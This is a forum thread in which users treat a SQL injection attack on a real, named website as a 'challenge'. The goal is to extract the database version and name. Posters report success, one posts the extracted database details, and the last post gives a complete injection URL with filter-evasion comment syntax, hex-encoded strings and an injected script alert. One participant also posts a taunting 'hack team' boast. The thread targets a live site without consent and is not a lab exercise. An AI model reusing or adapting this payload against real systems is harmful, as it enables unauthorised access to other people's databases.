Very Hard sqli Challenge

[apple321]

#Target:h--p://wwXXw.youXXrtrainXXer.com.cy/eXXn/more2.php?id=

Replace - with t and XX with nothing.

Goal:

Extract version and database.

Pm me with syntax so i can add you to solvers list.

Proof:

.

Solvers:

Renegade

Edited December 30, 2013 by apple321

[Renegade]

[dancezar]

Where i can send the syntax?

PS:not so hard maybe medium.

Thanks for the challenge

//vad ca a luat ban de ce?

[yoyois]

can send the syntax?

PS:not so hard maybe medium.

Thanks for the challenge

//vad ca a luat ban de ce?

Da. S-a dus omul ...

Maybe medium ..

PS: cred ca poza e dovada suficienta

[Renegade]

a fost simplu de rezolvat.azi noapte fiind la munca de plictiseala l-am facut desi eram sceptic in privinta lui deoarece avea doar 1 post (challenge-ul)

[kempactick]

Era stronshit...

[KemPaKTiCkC0i]

Era stronshit...

You don't know about pakistan hack team, pwn check your security now bitch!.

[KemPaKTiCkC0i]

If this was the latest version of "mod_security" then yes, it would be very hard.

I doubt any of you could bypass mod_security's latest waf against sqli.

[boogy]

[.darky]

[Castiel]

Din moment ce useru a luat ban cred ca pot posta syntaxa . YourTrainer.com.cy - 5.5.35-logaandreou_yourtrainer:Castiel

[Shelo]

Pun si eu Syntaxa mea

http://www.yourtrainer.com.cy/en/more2.php?id=-2 /*!17533UnIOn*/%0A/*!17533SeLEcT*/1,/*!40000CoNCaT*/(0x3c7363726970743e616c6572742822,0x56657273696f6e3a20,version(),0x5c6e,0x44617461626173653a20,database(),0x5c6e,0x4e756d653a205368656c6f,0x22293c2f7363726970743e),3,4,5,6,7--